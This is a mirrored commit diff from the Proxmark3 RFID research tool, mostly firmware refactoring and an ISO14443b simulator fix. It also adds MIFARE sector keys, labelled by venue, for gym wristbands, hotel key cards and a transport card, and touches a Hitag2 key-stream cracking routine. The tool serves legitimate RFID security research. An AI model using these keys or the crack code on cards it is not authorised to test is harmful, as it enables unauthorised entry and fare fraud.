mirror of
https://github.com/RfidResearchGroup/proxmark3.git
synced 2025-08-21 05:43:48 -07:00
Merge branch 'master' into patch-1
Signed-off-by: Iceman <iceman@iuse.se>
This commit is contained in:
commit
a907dc4b53
38 changed files with 1838 additions and 741 deletions
12
CHANGELOG.md
12
CHANGELOG.md
|
@ -3,7 +3,17 @@ All notable changes to this project will be documented in this file.
|
|||
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
|
||||
|
||||
## [unreleased][unreleased]
|
||||
- Change `lf hitag info` - now tries to identify different key fob emulators (@iceman1001)
|
||||
- Fixed a bad memory erase (@iceman1001)
|
||||
- Fixed BT serial comms (@iceman1001)
|
||||
- Changed `intertic.py` - updated and code clean up (@gentilkiwi)
|
||||
- Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier
|
||||
- Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp)
|
||||
- Fixed 'hf 14b sim' - now works (@michi-jung)
|
||||
|
||||
## [Aurora.4.18589][2024-05-28]
|
||||
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)
|
||||
- Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001)
|
||||
- Changed `lf hitag info` - now tries to identify different key fob emulators (@iceman1001)
|
||||
- Added `lf hitag reader` - act as a Hitag2 reader (@iceman1001)
|
||||
- Fixed `lf hitag crack2` - now works. (@iceman1001)
|
||||
- Fixed wrong use of free() in desfire crypto on arm src, thanks @jlitewski! (@iceman1001)
|
||||
|
|
|
@ -41,7 +41,7 @@ void ModInfo(void) {
|
|||
DbpString(" LF EM4100 simulator standalone mode");
|
||||
}
|
||||
|
||||
static uint64_t rev_quads(uint64_t bits) {
|
||||
static uint64_t em4100emul_rev_quads(uint64_t bits) {
|
||||
uint64_t result = 0;
|
||||
for (int i = 0; i < 16; i++) {
|
||||
result += ((bits >> (60 - 4 * i)) & 0xf) << (4 * i);
|
||||
|
@ -49,7 +49,7 @@ static uint64_t rev_quads(uint64_t bits) {
|
|||
return result >> 24;
|
||||
}
|
||||
|
||||
static void fill_buff(uint8_t bit) {
|
||||
static void em4100emul_fill_buff(uint8_t bit) {
|
||||
uint8_t *bba = BigBuf_get_addr();
|
||||
memset(bba + em4100emul_buflen, bit, LF_CLOCK / 2);
|
||||
em4100emul_buflen += (LF_CLOCK / 2);
|
||||
|
@ -57,7 +57,7 @@ static void fill_buff(uint8_t bit) {
|
|||
em4100emul_buflen += (LF_CLOCK / 2);
|
||||
}
|
||||
|
||||
static void construct_EM410x_emul(uint64_t id) {
|
||||
static void em4100emul_construct_EM410x_emul(uint64_t id) {
|
||||
|
||||
int i, j;
|
||||
int binary[4] = {0, 0, 0, 0};
|
||||
|
@ -65,24 +65,24 @@ static void construct_EM410x_emul(uint64_t id) {
|
|||
em4100emul_buflen = 0;
|
||||
|
||||
for (i = 0; i < 9; i++)
|
||||
fill_buff(1);
|
||||
em4100emul_fill_buff(1);
|
||||
|
||||
for (i = 0; i < 10; i++) {
|
||||
for (j = 3; j >= 0; j--, id /= 2)
|
||||
binary[j] = id % 2;
|
||||
|
||||
for (j = 0; j < 4; j++)
|
||||
fill_buff(binary[j]);
|
||||
em4100emul_fill_buff(binary[j]);
|
||||
|
||||
fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
|
||||
em4100emul_fill_buff(binary[0] ^ binary[1] ^ binary[2] ^ binary[3]);
|
||||
for (j = 0; j < 4; j++)
|
||||
parity[j] ^= binary[j];
|
||||
}
|
||||
|
||||
for (j = 0; j < 4; j++)
|
||||
fill_buff(parity[j]);
|
||||
em4100emul_fill_buff(parity[j]);
|
||||
|
||||
fill_buff(0);
|
||||
em4100emul_fill_buff(0);
|
||||
}
|
||||
|
||||
static void LED_Slot(int i) {
|
||||
|
@ -108,8 +108,18 @@ void RunMod(void) {
|
|||
SpinDelay(100);
|
||||
SpinUp(100);
|
||||
LED_Slot(selected);
|
||||
construct_EM410x_emul(rev_quads(em4100emul_low[selected]));
|
||||
Dbprintf("Emulating 0x%010llX", em4100emul_low[selected]);
|
||||
em4100emul_construct_EM410x_emul(em4100emul_rev_quads(em4100emul_low[selected]));
|
||||
SimulateTagLowFrequency(em4100emul_buflen, 0, true);
|
||||
|
||||
//Exit! Button hold break
|
||||
int button_pressed = BUTTON_HELD(500);
|
||||
if (button_pressed == BUTTON_HOLD) {
|
||||
Dbprintf("Button hold, Break!");
|
||||
LEDsoff();
|
||||
Dbprintf("[=] >> LF EM4100 simulator stopped due to button hold <<");
|
||||
return; // RunMod end
|
||||
}
|
||||
selected = (selected + 1) % em4100emul_slots_count;
|
||||
}
|
||||
}
|
||||
|
|
|
@ -101,9 +101,10 @@ void Dbhexdump(int len, const uint8_t *d, bool bAsci) {
|
|||
d += 16;
|
||||
}
|
||||
#endif
|
||||
}void print_result(const char *name, const uint8_t *d, size_t
|
||||
}
|
||||
void print_result(const char *name, const uint8_t *d, size_t
|
||||
|
||||
n) {
|
||||
n) {
|
||||
|
||||
const uint8_t *p = d;
|
||||
uint16_t tmp = n & 0xFFF0;
|
||||
|
|
|
@ -1257,7 +1257,7 @@ static int em4x50_sim_read_bit(void) {
|
|||
|
||||
// wait 16 cycles to make sure there is no field when reading a "0" bit
|
||||
uint32_t waitval = GetTicks();
|
||||
while(GetTicks() - waitval < EM4X50_T_TAG_QUARTER_PERIOD * CYCLES2TICKS);
|
||||
while (GetTicks() - waitval < EM4X50_T_TAG_QUARTER_PERIOD * CYCLES2TICKS);
|
||||
|
||||
while (cycles < EM4X50_T_TAG_THREE_QUARTER_PERIOD) {
|
||||
|
||||
|
|
|
@ -32,47 +32,47 @@ static bool command_parity = true;
|
|||
|
||||
|
||||
#if 1 // Calculation of ticks for timing functions
|
||||
// Conversion from Ticks to RF periods
|
||||
// 1 us = 1.5 ticks
|
||||
// 1RF Period = 8us = 12 Ticks
|
||||
#define TICKS_PER_FC 12
|
||||
// Conversion from Ticks to RF periods
|
||||
// 1 us = 1.5 ticks
|
||||
// 1RF Period = 8us = 12 Ticks
|
||||
#define TICKS_PER_FC 12
|
||||
|
||||
// Chip timing from datasheet
|
||||
// Converted into Ticks for timing functions
|
||||
#define EM4X70_T_TAG_QUARTER_PERIOD (8 * TICKS_PER_FC)
|
||||
#define EM4X70_T_TAG_HALF_PERIOD (16 * TICKS_PER_FC)
|
||||
#define EM4X70_T_TAG_THREE_QUARTER_PERIOD (24 * TICKS_PER_FC)
|
||||
#define EM4X70_T_TAG_FULL_PERIOD (32 * TICKS_PER_FC) // 1 Bit Period
|
||||
#define EM4X70_T_TAG_TWA (128 * TICKS_PER_FC) // Write Access Time
|
||||
#define EM4X70_T_TAG_DIV (224 * TICKS_PER_FC) // Divergency Time
|
||||
#define EM4X70_T_TAG_AUTH (4224 * TICKS_PER_FC) // Authentication Time
|
||||
#define EM4X70_T_TAG_WEE (3072 * TICKS_PER_FC) // EEPROM write Time
|
||||
#define EM4X70_T_TAG_TWALB (672 * TICKS_PER_FC) // Write Access Time of Lock Bits
|
||||
#define EM4X70_T_TAG_BITMOD (4 * TICKS_PER_FC) // Initial time to stop modulation when sending 0
|
||||
#define EM4X70_T_TAG_TOLERANCE (8 * TICKS_PER_FC) // Tolerance in RF periods for receive/LIW
|
||||
// Chip timing from datasheet
|
||||
// Converted into Ticks for timing functions
|
||||
#define EM4X70_T_TAG_QUARTER_PERIOD (8 * TICKS_PER_FC)
|
||||
#define EM4X70_T_TAG_HALF_PERIOD (16 * TICKS_PER_FC)
|
||||
#define EM4X70_T_TAG_THREE_QUARTER_PERIOD (24 * TICKS_PER_FC)
|
||||
#define EM4X70_T_TAG_FULL_PERIOD (32 * TICKS_PER_FC) // 1 Bit Period
|
||||
#define EM4X70_T_TAG_TWA (128 * TICKS_PER_FC) // Write Access Time
|
||||
#define EM4X70_T_TAG_DIV (224 * TICKS_PER_FC) // Divergency Time
|
||||
#define EM4X70_T_TAG_AUTH (4224 * TICKS_PER_FC) // Authentication Time
|
||||
#define EM4X70_T_TAG_WEE (3072 * TICKS_PER_FC) // EEPROM write Time
|
||||
#define EM4X70_T_TAG_TWALB (672 * TICKS_PER_FC) // Write Access Time of Lock Bits
|
||||
#define EM4X70_T_TAG_BITMOD (4 * TICKS_PER_FC) // Initial time to stop modulation when sending 0
|
||||
#define EM4X70_T_TAG_TOLERANCE (8 * TICKS_PER_FC) // Tolerance in RF periods for receive/LIW
|
||||
|
||||
#define EM4X70_T_TAG_TIMEOUT (4 * EM4X70_T_TAG_FULL_PERIOD) // Timeout if we ever get a pulse longer than this
|
||||
#define EM4X70_T_WAITING_FOR_LIW 50 // Pulses to wait for listen window
|
||||
#define EM4X70_T_READ_HEADER_LEN 16 // Read header length (16 bit periods)
|
||||
#define EM4X70_T_TAG_TIMEOUT (4 * EM4X70_T_TAG_FULL_PERIOD) // Timeout if we ever get a pulse longer than this
|
||||
#define EM4X70_T_WAITING_FOR_LIW 50 // Pulses to wait for listen window
|
||||
#define EM4X70_T_READ_HEADER_LEN 16 // Read header length (16 bit periods)
|
||||
|
||||
#define EM4X70_COMMAND_RETRIES 5 // Attempts to send/read command
|
||||
#define EM4X70_MAX_RECEIVE_LENGTH 96 // Maximum bits to expect from any command
|
||||
#define EM4X70_COMMAND_RETRIES 5 // Attempts to send/read command
|
||||
#define EM4X70_MAX_RECEIVE_LENGTH 96 // Maximum bits to expect from any command
|
||||
#endif // Calculation of ticks for timing functions
|
||||
|
||||
#if 1 // EM4x70 Command IDs
|
||||
/**
|
||||
* These IDs are from the EM4170 datasheet.
|
||||
* Some versions of the chip require a
|
||||
* (even) parity bit, others do not.
|
||||
* The command is thus stored only in the
|
||||
* three least significant bits (mask 0x07).
|
||||
*/
|
||||
#define EM4X70_COMMAND_ID 0x01
|
||||
#define EM4X70_COMMAND_UM1 0x02
|
||||
#define EM4X70_COMMAND_AUTH 0x03
|
||||
#define EM4X70_COMMAND_PIN 0x04
|
||||
#define EM4X70_COMMAND_WRITE 0x05
|
||||
#define EM4X70_COMMAND_UM2 0x07
|
||||
/**
|
||||
* These IDs are from the EM4170 datasheet.
|
||||
* Some versions of the chip require a
|
||||
* (even) parity bit, others do not.
|
||||
* The command is thus stored only in the
|
||||
* three least significant bits (mask 0x07).
|
||||
*/
|
||||
#define EM4X70_COMMAND_ID 0x01
|
||||
#define EM4X70_COMMAND_UM1 0x02
|
||||
#define EM4X70_COMMAND_AUTH 0x03
|
||||
#define EM4X70_COMMAND_PIN 0x04
|
||||
#define EM4X70_COMMAND_WRITE 0x05
|
||||
#define EM4X70_COMMAND_UM2 0x07
|
||||
#endif // EM4x70 Command IDs
|
||||
|
||||
// Constants used to determine high/low state of signal
|
||||
|
@ -309,7 +309,7 @@ static bool check_ack(void) {
|
|||
// ACK 64 + 64
|
||||
// NAK 64 + 48
|
||||
if (check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD) &&
|
||||
check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD)) {
|
||||
check_pulse_length(get_pulse_length(FALLING_EDGE), 2 * EM4X70_T_TAG_FULL_PERIOD)) {
|
||||
// ACK
|
||||
return true;
|
||||
}
|
||||
|
@ -549,8 +549,8 @@ static bool find_listen_window(bool command) {
|
|||
return false;
|
||||
}
|
||||
|
||||
// *bits == array of bytes, each byte storing a single bit.
|
||||
// *out == array of bytes, storing converted bits --> bytes.
|
||||
// *bits == array of bytes, each byte storing a single bit.
|
||||
// *out == array of bytes, storing converted bits --> bytes.
|
||||
//
|
||||
// [in, bcount(count_of_bits) ] const uint8_t *bits
|
||||
// [out, bcount(count_of_bits/8)] uint8_t *out
|
||||
|
|
|
@ -380,7 +380,7 @@ void ht2_crack2(uint8_t *nrar_hex) {
|
|||
|
||||
// We got 42 bits of keystream in c2->keybits.
|
||||
// using the 40 bits of keystream in keybits, sending commands with ever
|
||||
// increasing lengths to acquire 2048 bits of key stream.
|
||||
// increasing lengths to acquire 2048 bits of key stream.
|
||||
int kslen = 40;
|
||||
int res = PM3_SUCCESS;
|
||||
|
||||
|
@ -409,17 +409,17 @@ void ht2_crack2(uint8_t *nrar_hex) {
|
|||
uint8_t resp[4] = {0};
|
||||
res = ht2_tx_rx(c2->e_ext_cmd, kslen, resp, &n, true, false);
|
||||
if (res != PM3_SUCCESS) {
|
||||
Dbprintf("tx/rx failed, got %zu (res... %i)", n, res);
|
||||
Dbprintf("tx/rx failed, got %zu (res... %i)", n, res);
|
||||
break;
|
||||
}
|
||||
|
||||
// convert response to binarray
|
||||
// convert response to binarray
|
||||
hex2binarray_n((char *)e_response, (char *)resp, 4);
|
||||
|
||||
// recover keystream from encrypted response
|
||||
hitag2crack_xor(c2->keybits + kslen, e_response, c2->uid, 32);
|
||||
|
||||
// extented with 30 bits or 3 * 10 read_p0_cmds
|
||||
// extented with 30 bits or 3 * 10 read_p0_cmds
|
||||
hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
|
||||
kslen += 10;
|
||||
hitag2crack_xor(c2->e_ext_cmd + kslen, read_p0_cmd, c2->keybits + kslen, 10);
|
||||
|
@ -437,5 +437,5 @@ void ht2_crack2(uint8_t *nrar_hex) {
|
|||
|
||||
reply_ng(CMD_LF_HITAG2_CRACK_2, res, (uint8_t *)packet, sizeof(lf_hitag_crack_response_t));
|
||||
BigBuf_free();
|
||||
return;
|
||||
return;
|
||||
}
|
||||
|
|
|
@ -1090,7 +1090,7 @@ static void hitagS_receive_frame(uint8_t *rx, size_t sizeofrx, size_t *rxlen, ui
|
|||
// Dbprintf("RX0 %i:%02X.. err:%i resptime:%i", *rxlen, rx[0], errorCount, *resptime);
|
||||
}
|
||||
|
||||
static void sendReceiveHitagS( const uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *prxbits, int t_wait, bool ledcontrol, bool ac_seq) {
|
||||
static void sendReceiveHitagS(const uint8_t *tx, size_t txlen, uint8_t *rx, size_t sizeofrx, size_t *prxbits, int t_wait, bool ledcontrol, bool ac_seq) {
|
||||
|
||||
LogTraceBits(tx, txlen, HITAG_T_WAIT_2, HITAG_T_WAIT_2, true);
|
||||
|
||||
|
|
|
@ -186,7 +186,7 @@
|
|||
#endif
|
||||
|
||||
// 4sample
|
||||
#define SEND4STUFFBIT(x) tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);tosend_stuffbit(x);
|
||||
#define SEND4STUFFBIT(x) tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));tosend_stuffbit(!(x));
|
||||
|
||||
static void iso14b_set_timeout(uint32_t timeout_etu);
|
||||
static void iso14b_set_maxframesize(uint16_t size);
|
||||
|
@ -702,10 +702,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
|
|||
// Signal field is off with the appropriate LED
|
||||
LED_D_OFF();
|
||||
|
||||
// TR0: min - 1024 cycles = 75.52 us - max 4096 cycles = 302.08 us
|
||||
SpinDelayUs(76);
|
||||
|
||||
// Modulate BPSK
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_SIMULATOR | FPGA_HF_SIMULATOR_MODULATE_BPSK);
|
||||
AT91C_BASE_SSC->SSC_THR = 0xFF;
|
||||
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
|
||||
|
||||
// Transmit the response.
|
||||
for (uint16_t i = 0; i < len;) {
|
||||
|
@ -713,6 +714,11 @@ static void TransmitFor14443b_AsTag(const uint8_t *response, uint16_t len) {
|
|||
// Put byte into tx holding register as soon as it is ready
|
||||
if (AT91C_BASE_SSC->SSC_SR & AT91C_SSC_TXRDY) {
|
||||
AT91C_BASE_SSC->SSC_THR = response[i++];
|
||||
|
||||
// Start-up SSC once first byte is in SSC_THR
|
||||
if (i == 1) {
|
||||
FpgaSetupSsc(FPGA_MAJOR_MODE_HF_SIMULATOR);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -771,7 +777,7 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
|
|||
static const uint8_t respOK[] = {0x00, 0x78, 0xF0};
|
||||
|
||||
uint16_t len, cmdsReceived = 0;
|
||||
int cardSTATE = SIM_NOFIELD;
|
||||
int cardSTATE = SIM_POWER_OFF;
|
||||
int vHf = 0; // in mV
|
||||
|
||||
const tosend_t *ts = get_tosend();
|
||||
|
@ -801,16 +807,18 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
|
|||
}
|
||||
|
||||
// find reader field
|
||||
if (cardSTATE == SIM_NOFIELD) {
|
||||
|
||||
vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15;
|
||||
if (vHf > MF_MINFIELDV) {
|
||||
vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15;
|
||||
if (vHf > MF_MINFIELDV) {
|
||||
if (cardSTATE == SIM_POWER_OFF) {
|
||||
cardSTATE = SIM_IDLE;
|
||||
LED_A_ON();
|
||||
}
|
||||
} else {
|
||||
cardSTATE = SIM_POWER_OFF;
|
||||
LED_A_OFF();
|
||||
}
|
||||
|
||||
if (cardSTATE == SIM_NOFIELD) {
|
||||
if (cardSTATE == SIM_POWER_OFF) {
|
||||
continue;
|
||||
}
|
||||
|
||||
|
@ -820,73 +828,85 @@ void SimulateIso14443bTag(const uint8_t *pupi) {
|
|||
break;
|
||||
}
|
||||
|
||||
// ISO14443-B protocol states:
|
||||
// REQ or WUP request in ANY state
|
||||
// WUP in HALTED state
|
||||
if (len == 5) {
|
||||
if (((receivedCmd[0] == ISO14443B_REQB) && ((receivedCmd[2] & 0x08) == 0x08) && (cardSTATE == SIM_HALTED)) ||
|
||||
(receivedCmd[0] == ISO14443B_REQB)) {
|
||||
LogTrace(receivedCmd, len, 0, 0, NULL, true);
|
||||
|
||||
LogTrace(receivedCmd, len, 0, 0, NULL, true);
|
||||
cardSTATE = SIM_SELECTING;
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* How should this flow go?
|
||||
* REQB or WUPB
|
||||
* send response ( waiting for Attrib)
|
||||
* ATTRIB
|
||||
* send response ( waiting for commands 7816)
|
||||
* HALT
|
||||
send halt response ( waiting for wupb )
|
||||
*/
|
||||
|
||||
switch (cardSTATE) {
|
||||
//case SIM_NOFIELD:
|
||||
case SIM_HALTED:
|
||||
case SIM_IDLE: {
|
||||
LogTrace(receivedCmd, len, 0, 0, NULL, true);
|
||||
break;
|
||||
}
|
||||
case SIM_SELECTING: {
|
||||
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
|
||||
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
|
||||
cardSTATE = SIM_WORK;
|
||||
break;
|
||||
}
|
||||
case SIM_HALTING: {
|
||||
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
||||
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
||||
cardSTATE = SIM_HALTED;
|
||||
break;
|
||||
}
|
||||
case SIM_ACKNOWLEDGE: {
|
||||
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
||||
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
||||
cardSTATE = SIM_IDLE;
|
||||
break;
|
||||
}
|
||||
case SIM_WORK: {
|
||||
if (len == 7 && receivedCmd[0] == ISO14443B_HALT) {
|
||||
cardSTATE = SIM_HALTED;
|
||||
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
|
||||
cardSTATE = SIM_ACKNOWLEDGE;
|
||||
} else {
|
||||
// Todo:
|
||||
// - SLOT MARKER
|
||||
// - ISO7816
|
||||
// - emulate with a memory dump
|
||||
if (g_dbglevel >= DBG_DEBUG) {
|
||||
Dbprintf("new cmd from reader: len=%d, cmdsRecvd=%d", len, cmdsReceived);
|
||||
}
|
||||
|
||||
cardSTATE = SIM_IDLE;
|
||||
if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && (receivedCmd[2] & 0x08)) {
|
||||
// WUPB
|
||||
switch (cardSTATE) {
|
||||
case SIM_IDLE:
|
||||
case SIM_READY:
|
||||
case SIM_HALT: {
|
||||
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
|
||||
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
|
||||
cardSTATE = SIM_READY;
|
||||
break;
|
||||
}
|
||||
case SIM_ACTIVE:
|
||||
default: {
|
||||
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
|
||||
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
|
||||
break;
|
||||
}
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
break;
|
||||
} else if ((len == 5) && (receivedCmd[0] == ISO14443B_REQB) && !(receivedCmd[2] & 0x08)) {
|
||||
// REQB
|
||||
switch (cardSTATE) {
|
||||
case SIM_IDLE:
|
||||
case SIM_READY: {
|
||||
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
|
||||
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
|
||||
cardSTATE = SIM_READY;
|
||||
break;
|
||||
}
|
||||
case SIM_ACTIVE: {
|
||||
TransmitFor14443b_AsTag(encodedATQB, encodedATQBLen);
|
||||
LogTrace(respATQB, sizeof(respATQB), 0, 0, NULL, false);
|
||||
break;
|
||||
}
|
||||
case SIM_HALT:
|
||||
default: {
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else if ((len == 7) && (receivedCmd[0] == ISO14443B_HALT)) {
|
||||
// HLTB
|
||||
switch (cardSTATE) {
|
||||
case SIM_READY: {
|
||||
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
||||
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
||||
cardSTATE = SIM_HALT;
|
||||
break;
|
||||
}
|
||||
case SIM_IDLE:
|
||||
case SIM_ACTIVE: {
|
||||
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
||||
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
||||
break;
|
||||
}
|
||||
case SIM_HALT:
|
||||
default: {
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else if (len == 11 && receivedCmd[0] == ISO14443B_ATTRIB) {
|
||||
// ATTRIB
|
||||
switch (cardSTATE) {
|
||||
case SIM_READY: {
|
||||
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
||||
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
||||
cardSTATE = SIM_ACTIVE;
|
||||
break;
|
||||
}
|
||||
case SIM_IDLE:
|
||||
case SIM_ACTIVE: {
|
||||
TransmitFor14443b_AsTag(encodedOK, encodedOKLen);
|
||||
LogTrace(respOK, sizeof(respOK), 0, 0, NULL, false);
|
||||
break;
|
||||
}
|
||||
case SIM_HALT:
|
||||
default: {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -49,12 +49,10 @@ void SniffIso14443b(void);
|
|||
void SendRawCommand14443B(iso14b_raw_cmd_t *p);
|
||||
|
||||
// States for 14B SIM command
|
||||
#define SIM_NOFIELD 0
|
||||
#define SIM_POWER_OFF 0
|
||||
#define SIM_IDLE 1
|
||||
#define SIM_HALTED 2
|
||||
#define SIM_SELECTING 3
|
||||
#define SIM_HALTING 4
|
||||
#define SIM_ACKNOWLEDGE 5
|
||||
#define SIM_WORK 6
|
||||
#define SIM_READY 2
|
||||
#define SIM_HALT 3
|
||||
#define SIM_ACTIVE 4
|
||||
|
||||
#endif /* __ISO14443B_H */
|
||||
|
|
|
@ -134,10 +134,11 @@ void initSampleBuffer(uint32_t *sample_size) {
|
|||
}
|
||||
|
||||
void initSampleBufferEx(uint32_t *sample_size, bool use_malloc) {
|
||||
|
||||
if (sample_size == NULL) {
|
||||
Dbprintf("initSampleBufferEx, param NULL");
|
||||
return;
|
||||
}
|
||||
|
||||
BigBuf_free_keep_EM();
|
||||
|
||||
// We can't erase the buffer now, it would drastically delay the acquisition
|
||||
|
@ -181,14 +182,26 @@ void logSampleSimple(uint8_t sample) {
|
|||
|
||||
void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool avg) {
|
||||
|
||||
if (!data.buffer) return;
|
||||
if (!data.buffer) {
|
||||
return;
|
||||
}
|
||||
|
||||
// keep track of total gather samples regardless how many was discarded.
|
||||
if (samples.counter-- == 0) return;
|
||||
if (samples.counter-- == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (bits_per_sample == 0) bits_per_sample = 1;
|
||||
if (bits_per_sample > 8) bits_per_sample = 8;
|
||||
if (decimation == 0) decimation = 1;
|
||||
if (bits_per_sample == 0) {
|
||||
bits_per_sample = 1;
|
||||
}
|
||||
|
||||
if (bits_per_sample > 8) {
|
||||
bits_per_sample = 8;
|
||||
}
|
||||
|
||||
if (decimation == 0) {
|
||||
decimation = 1;
|
||||
}
|
||||
|
||||
if (avg) {
|
||||
samples.sum += sample;
|
||||
|
@ -198,7 +211,9 @@ void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool
|
|||
if (decimation > 1) {
|
||||
samples.dec_counter++;
|
||||
|
||||
if (samples.dec_counter < decimation) return;
|
||||
if (samples.dec_counter < decimation) {
|
||||
return;
|
||||
}
|
||||
|
||||
samples.dec_counter = 0;
|
||||
}
|
||||
|
@ -538,11 +553,10 @@ int ReadLF_realtime(bool reader_field) {
|
|||
|
||||
return_value = async_usb_write_stop();
|
||||
|
||||
out:
|
||||
out:
|
||||
LED_D_OFF();
|
||||
|
||||
// DoAcquisition() end
|
||||
|
||||
StopTicks();
|
||||
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
|
||||
return return_value;
|
||||
|
|
|
@ -639,24 +639,32 @@ void rdv40_spiffs_safe_print_tree(void) {
|
|||
struct spiffs_dirent e;
|
||||
struct spiffs_dirent *pe = &e;
|
||||
|
||||
char *resolvedlink = (char *)BigBuf_calloc(11 + SPIFFS_OBJ_NAME_LEN);
|
||||
char *linkdest = (char *)BigBuf_calloc(SPIFFS_OBJ_NAME_LEN);
|
||||
bool printed = false;
|
||||
|
||||
SPIFFS_opendir(&fs, "/", &d);
|
||||
while ((pe = SPIFFS_readdir(&d, pe))) {
|
||||
|
||||
char resolvedlink[11 + SPIFFS_OBJ_NAME_LEN];
|
||||
memset(resolvedlink, 0, 11 + SPIFFS_OBJ_NAME_LEN);
|
||||
|
||||
if (rdv40_spiffs_is_symlink((const char *)pe->name)) {
|
||||
char linkdest[SPIFFS_OBJ_NAME_LEN];
|
||||
|
||||
read_from_spiffs((char *)pe->name, (uint8_t *)linkdest, SPIFFS_OBJ_NAME_LEN);
|
||||
sprintf(resolvedlink, "(.lnk) --> %s", linkdest);
|
||||
// Kind of stripping the .lnk extension
|
||||
strtok((char *)pe->name, ".");
|
||||
} else {
|
||||
memset(resolvedlink, 0, sizeof(resolvedlink));
|
||||
}
|
||||
|
||||
Dbprintf("[%04x]\t " _YELLOW_("%i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink);
|
||||
Dbprintf("[%04x] " _YELLOW_("%5i") " B |-- %s%s", pe->obj_id, pe->size, pe->name, resolvedlink);
|
||||
printed = true;
|
||||
}
|
||||
if (printed == false) {
|
||||
DbpString("<empty>");
|
||||
}
|
||||
SPIFFS_closedir(&d);
|
||||
rdv40_spiffs_lazy_mount_rollback(changed);
|
||||
BigBuf_free();
|
||||
}
|
||||
|
||||
void rdv40_spiffs_safe_wipe(void) {
|
||||
|
|
|
@ -307,7 +307,7 @@ E3429281EFC1
|
|||
# EPI Envisionte
|
||||
AAFB06045877
|
||||
#
|
||||
# gym
|
||||
# Gyms / Fitness Clubs / Health Clubs / Wellness Centres
|
||||
#
|
||||
# Fysiken A
|
||||
3E65E4FB65B3
|
||||
|
@ -318,8 +318,8 @@ AAFB06045877
|
|||
#
|
||||
# https://mattionline.de/fitnessstudio-armband-reverse-engineering/
|
||||
# https://mattionline.de/milazycracker/
|
||||
# gym wistband A, same as Fysiken A
|
||||
# gym wistband B
|
||||
# Gym Wristband A - Same as Fysiken A
|
||||
# Gym Wristband B
|
||||
81CC25EBBB6A
|
||||
195DC63DB3A3
|
||||
#
|
||||
|
@ -330,9 +330,13 @@ A05DBD98E0FC
|
|||
AA4DDA458EBB
|
||||
EAB8066C7479
|
||||
#
|
||||
# Nordic Wellness A, same as Fysiken A
|
||||
# Nordic Wellness A - Same as Fysiken A
|
||||
# Nordic Wellness B
|
||||
E5519E1CC92B
|
||||
#
|
||||
# Jett's 24 Hour Fitness S0 KA/B
|
||||
# 049979614077
|
||||
# 829338771705
|
||||
#
|
||||
# Hotel KeyCard
|
||||
D3B595E9DD63
|
||||
|
@ -1110,6 +1114,14 @@ EA0FD73CB149
|
|||
FC0001877BF7
|
||||
FD8705E721B0
|
||||
00ADA2CD516D
|
||||
518108E061E2
|
||||
558AAD64EB5B
|
||||
001122334455
|
||||
6CA761AB6CA7
|
||||
B1C4A8F7F6E3
|
||||
FF75AFDA5A3C
|
||||
FCDDF7767C10
|
||||
A6B3F6C8F1D4
|
||||
#
|
||||
#
|
||||
237A4D0D9119
|
||||
|
@ -2345,9 +2357,8 @@ EA0CA627FD06
|
|||
# Hotel key
|
||||
CE0F4F15E909
|
||||
D60DE9436219
|
||||
|
||||
#
|
||||
# ATM Area de Girona, spanish transport card
|
||||
|
||||
A01000000000
|
||||
A02000000000
|
||||
A03000000000
|
||||
|
@ -2363,7 +2374,6 @@ A12000000000
|
|||
A13000000000
|
||||
A14000000000
|
||||
A15000000000
|
||||
|
||||
B01000000000
